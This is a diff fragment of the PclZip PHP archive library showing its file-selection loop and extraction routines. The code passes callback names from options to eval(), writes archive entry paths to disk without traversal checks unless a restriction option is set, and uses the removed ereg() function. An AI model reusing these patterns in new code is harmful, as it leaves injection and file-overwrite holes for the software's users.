+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Compare with file '".$p_options[PCLZIP_OPT_BY_NAME][$j]."'");
+
+              // ----- Look for a directory
+              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The searched item is a directory");
+
+                  // ----- Look if the directory is in the filename path
+                  if (   (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
+                      && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The directory is in the file path");
+                      $v_extract = true;
+                  }
+              }
+              // ----- Look for a filename
+              elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The file is the right one.");
+                  $v_extract = true;
+              }
+          }
+      }
+
+      // ----- Look for extract by ereg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
+               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract by ereg '".$p_options[PCLZIP_OPT_BY_EREG]."'");
+
+          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename match the regular expression");
+              $v_extract = true;
+          }
+      }
+
+      // ----- Look for extract by preg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
+               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByEreg'");
+
+          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename match the regular expression");
+              $v_extract = true;
+          }
+      }
+
+      // ----- Look for extract by index rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
+               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByIndex'");
+          
+          // ----- Look if the index is in the list
+          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Look if index '$i' is in [".$p_options[PCLZIP_OPT_BY_INDEX][$j]['start'].",".$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']."]");
+
+              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Found as part of an index range");
+                  $v_extract = true;
+              }
+              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Do not look this index range for next loop");
+                  $j_start = $j+1;
+              }
+
+              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Index range is greater than index, stop loop");
+                  break;
+              }
+          }
+      }
+
+      // ----- Look for no rule, which means extract all the archive
+      else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with no rule (extract all)");
+          $v_extract = true;
+      }
+
+	  // ----- Check compression method
+	  if (   ($v_extract)
+	      && (   ($v_header['compression'] != 8)
+		      && ($v_header['compression'] != 0))) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unsupported compression method (".$v_header['compression'].")");
+          $v_header['status'] = 'unsupported_compression';
+
+          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+              $this->privSwapBackMagicQuotes();
+              
+              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
+			                       "Filename '".$v_header['stored_filename']."' is "
+				  	    	  	   ."compressed by an unsupported compression "
+				  	    	  	   ."method (".$v_header['compression'].") ");
+
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+              return PclZip::errorCode();
+		  }
+	  }
+	  
+	  // ----- Check encrypted files
+	  if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unsupported file encryption");
+          $v_header['status'] = 'unsupported_encryption';
+
+          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+              $this->privSwapBackMagicQuotes();
+
+              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
+			                       "Unsupported encryption for "
+				  	    	  	   ." filename '".$v_header['stored_filename']
+								   ."'");
+
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+              return PclZip::errorCode();
+		  }
+    }
+
+      // ----- Look for real extraction
+      if (($v_extract) && ($v_header['status'] != 'ok')) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "No need for extract");
+          $v_result = $this->privConvertHeader2FileInfo($v_header,
+		                                        $p_file_list[$v_nb_extracted++]);
+          if ($v_result != 1) {
+              $this->privCloseFd();
+              $this->privSwapBackMagicQuotes();
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+              return $v_result;
+          }
+
+          $v_extract = false;
+      }
+      
+      // ----- Look for real extraction
+      if ($v_extract)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting file '".$v_header['filename']."', index '$i'");
+
+        // ----- Go to the file position
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position before rewind : ".ftell($this->zip_fd)."'");
+        @rewind($this->zip_fd);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after rewind : ".ftell($this->zip_fd)."'");
+        if (@fseek($this->zip_fd, $v_header['offset']))
+        {
+          // ----- Close the zip file
+          $this->privCloseFd();
+
+          $this->privSwapBackMagicQuotes();
+
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return PclZip::errorCode();
+        }
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after fseek : ".ftell($this->zip_fd)."'");
+
+        // ----- Look for extraction as string
+        if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {
+
+          // ----- Extracting the file
+          $v_result1 = $this->privExtractFileAsString($v_header, $v_string);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result1);
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
+          {
+            // ----- Close the zip file
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          // ----- Set the file content
+          $p_file_list[$v_nb_extracted]['content'] = $v_string;
+
+          // ----- Next extracted file
+          $v_nb_extracted++;
+          
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+        // ----- Look for extraction in standard output
+        elseif (   (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
+		        && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
+          // ----- Extracting the file in standard output
+          $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result1);
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+        // ----- Look for normal extraction
+        else {
+          // ----- Extracting the file
+          $v_result1 = $this->privExtractFile($v_header,
+		                                      $p_path, $p_remove_path,
+											  $p_remove_all_path,
+											  $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result1);
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
+          {
+            // ----- Close the zip file
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+      }
+    }
+
+    // ----- Close the zip file
+    $this->privCloseFd();
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //
+  // 1 : ... ?
+  // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback
+  // --------------------------------------------------------------------------------
+  function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privExtractFile', "path='$p_path', remove_path='$p_remove_path', remove_all_path='".($p_remove_all_path?'true':'false')."'");
+    $v_result=1;
+
+    // ----- Read the file header
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Found file '".$v_header['filename']."', size '".$v_header['size']."'");
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for all path to remove
+    if ($p_remove_all_path == true) {
+        // ----- Look for folder entry that not need to be extracted
+        if (($p_entry['external']&0x00000010)==0x00000010) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The entry is a folder : need to be filtered");
+
+            $p_entry['status'] = "filtered";
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+        }
+
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "All path is removed");
+        // ----- Get the basename of the path
+        $p_entry['filename'] = basename($p_entry['filename']);
+    }
+
+    // ----- Look for path to remove
+    else if ($p_remove_path != "")
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Look for some path to remove");
+      if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The folder is the same as the removed path '".$p_entry['filename']."'");
+
+        // ----- Change the file status
+        $p_entry['status'] = "filtered";
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        return $v_result;
+      }
+
+      $p_remove_path_size = strlen($p_remove_path);
+      if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Found path '$p_remove_path' to remove in file '".$p_entry['filename']."'");
+
+        // ----- Remove the path
+        $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);
+
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Resulting file is '".$p_entry['filename']."'");
+      }
+    }
+
+    // ----- Add the path
+    if ($p_path != '') {
+      $p_entry['filename'] = $p_path."/".$p_entry['filename'];
+    }
+    
+    // ----- Check a base_dir_restriction
+    if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Check the extract directory restriction");
+      $v_inclusion
+      = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
+                                $p_entry['filename']); 
+      if ($v_inclusion == 0) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_EXTRACT_DIR_RESTRICTION is selected, file is outside restriction");
+
+        PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
+			                     "Filename '".$p_entry['filename']."' is "
+								 ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");
+
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A pre-callback '".$p_options[PCLZIP_CB_PRE_EXTRACT]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+      
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "User callback abort the extraction");
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "New filename is '".$p_entry['filename']."'");
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting file (with path) '".$p_entry['filename']."', size '$v_header[size]'");
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+    // ----- Look for specific actions while the file exist
+    if (file_exists($p_entry['filename']))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$p_entry['filename']."' already exists");
+
+      // ----- Look if file is a directory
+      if (is_dir($p_entry['filename']))
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Existing file '".$p_entry['filename']."' is a directory");
+
+        // ----- Change the file status
+        $p_entry['status'] = "already_a_directory";
+        
+        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+        // For historical reason first PclZip implementation does not stop
+        // when this kind of error occurs.
+        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+            PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
+			                     "Filename '".$p_entry['filename']."' is "
+								 ."already used by an existing directory");
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+		    }
+      }
+      // ----- Look if file is write protected
+      else if (!is_writeable($p_entry['filename']))
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Existing file '".$p_entry['filename']."' is write protected");
+
+        // ----- Change the file status
+        $p_entry['status'] = "write_protected";
+
+        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+        // For historical reason first PclZip implementation does not stop
+        // when this kind of error occurs.
+        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
+			                     "Filename '".$p_entry['filename']."' exists "
+								 ."and is write protected");
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+		    }
+      }
+
+      // ----- Look if the extracted file is older
+      else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Existing file '".$p_entry['filename']."' is newer (".date("l dS of F Y h:i:s A", filemtime($p_entry['filename'])).") than the extracted file (".date("l dS of F Y h:i:s A", $p_entry['mtime']).")");
+        // ----- Change the file status
+        if (   (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
+		    && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_REPLACE_NEWER is selected, file will be replaced");
+	  	  }
+		    else {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File will not be replaced");
+            $p_entry['status'] = "newer_exist";
+
+            // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+            // For historical reason first PclZip implementation does not stop
+            // when this kind of error occurs.
+            if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		        && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+                //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+                PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
+			             "Newer version of '".$p_entry['filename']."' exists "
+					    ."and option PCLZIP_OPT_REPLACE_NEWER is not selected");
+
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+                return PclZip::errorCode();
+		      }
+		    }
+      }
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Existing file '".$p_entry['filename']."' is older than the extrated one - will be replaced by the extracted one (".date("l dS of F Y h:i:s A", filemtime($p_entry['filename'])).") than the extracted file (".date("l dS of F Y h:i:s A", $p_entry['mtime']).")");
+      }
+    }
+
+    // ----- Check the directory availability and create it if necessary
+    else {
+      if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
+        $v_dir_to_check = $p_entry['filename'];
+      else if (!strstr($p_entry['filename'], "/"))
+        $v_dir_to_check = "";
+      else
+        $v_dir_to_check = dirname($p_entry['filename']);
+
+        if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unable to create path for '".$p_entry['filename']."'");
+  
+          // ----- Change the file status
+          $p_entry['status'] = "path_creation_fail";
+  
+          // ----- Return
+          ////--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          //return $v_result;
+          $v_result = 1;
+        }
+      }
+    }
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010))
+      {
+        // ----- Look for not compressed file
+        if ($p_entry['compression'] == 0) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting an un-compressed file");
+
+    		  // ----- Opening destination file
+          if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
+          {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Error while opening '".$p_entry['filename']."' in write binary mode");
+
+            // ----- Change the file status
+            $p_entry['status'] = "write_error";
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Read '".$p_entry['size']."' bytes");
+
+          // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+          $v_size = $p_entry['compressed_size'];
+          while ($v_size != 0)
+          {
+            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Read $v_read_size bytes");
+            $v_buffer = @fread($this->zip_fd, $v_read_size);
+            /* Try to speed up the code
+            $v_binary_data = pack('a'.$v_read_size, $v_buffer);
+            @fwrite($v_dest_file, $v_binary_data, $v_read_size);
+            */
+            @fwrite($v_dest_file, $v_buffer, $v_read_size);            
+            $v_size -= $v_read_size;
+          }
+
+          // ----- Closing the destination file
+          fclose($v_dest_file);
+
+          // ----- Change the file mtime
+          touch($p_entry['filename'], $p_entry['mtime']);
+          
+
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting a compressed file (Compression method ".$p_entry['compression'].")");
+          // ----- TBC
+          // Need to be finished
+          if (($p_entry['flag'] & 1) == 1) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File is encrypted");
+            PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+
+          // ----- Look for using temporary file to unzip
+          if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) 
+              && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
+                  || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+                      && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
+            $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
+            if ($v_result < PCLZIP_ERR_NO_ERROR) {
+              return $v_result;
+            }
+          }
+          
+          // ----- Look for extract in memory
+          else {
+
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Read '".$p_entry['compressed_size']."' compressed bytes");
+          
+            // ----- Read the compressed file in a buffer (one shot)
+            $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+            
+            // ----- Decompress the file
+            $v_file_content = @gzinflate($v_buffer);
+            unset($v_buffer);
+            if ($v_file_content === FALSE) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unable to inflate compressed file");
+  
+              // ----- Change the file status
+              // TBC
+              $p_entry['status'] = "error";
+              
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+              return $v_result;
+            }
+            
+            // ----- Opening destination file
+            if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Error while opening '".$p_entry['filename']."' in write binary mode");
+  
+              // ----- Change the file status
+              $p_entry['status'] = "write_error";
+  
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+              return $v_result;
+            }
+  
+            // ----- Write the uncompressed data
+            @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
+            unset($v_file_content);
+  
+            // ----- Closing the destination file
+            @fclose($v_dest_file);
+            
+          }
+
+          // ----- Change the file mtime
+          @touch($p_entry['filename'], $p_entry['mtime']);
+        }
+
+        // ----- Look for chmod option
+        if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "chmod option activated '".$p_options[PCLZIP_OPT_SET_CHMOD]."'");
+
+          // ----- Change the mode of the file
+          @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
+        }
+
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extraction done");
+      }
+    }
+
+	// ----- Change abort status
+	if ($p_entry['status'] == "aborted") {
+      $p_entry['status'] = "skipped";
+	}
+	
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A post-callback '".$p_options[PCLZIP_CB_POST_EXTRACT]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);');
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "User callback abort the extraction");
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileUsingTempFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileUsingTempFile(&$p_entry, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privExtractFileUsingTempFile', "filename='".$p_entry['filename']."'");
+    $v_result=1;
+        
+    // ----- Creates a temporary file
+    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
+    if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
+      fclose($v_file);
+      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Start extraction of '".$p_entry['filename']."'");
+
+    // ----- Write gz file format header
+    $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
+    @fwrite($v_dest_file, $v_binary_data, 10);
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = $p_entry['compressed_size'];
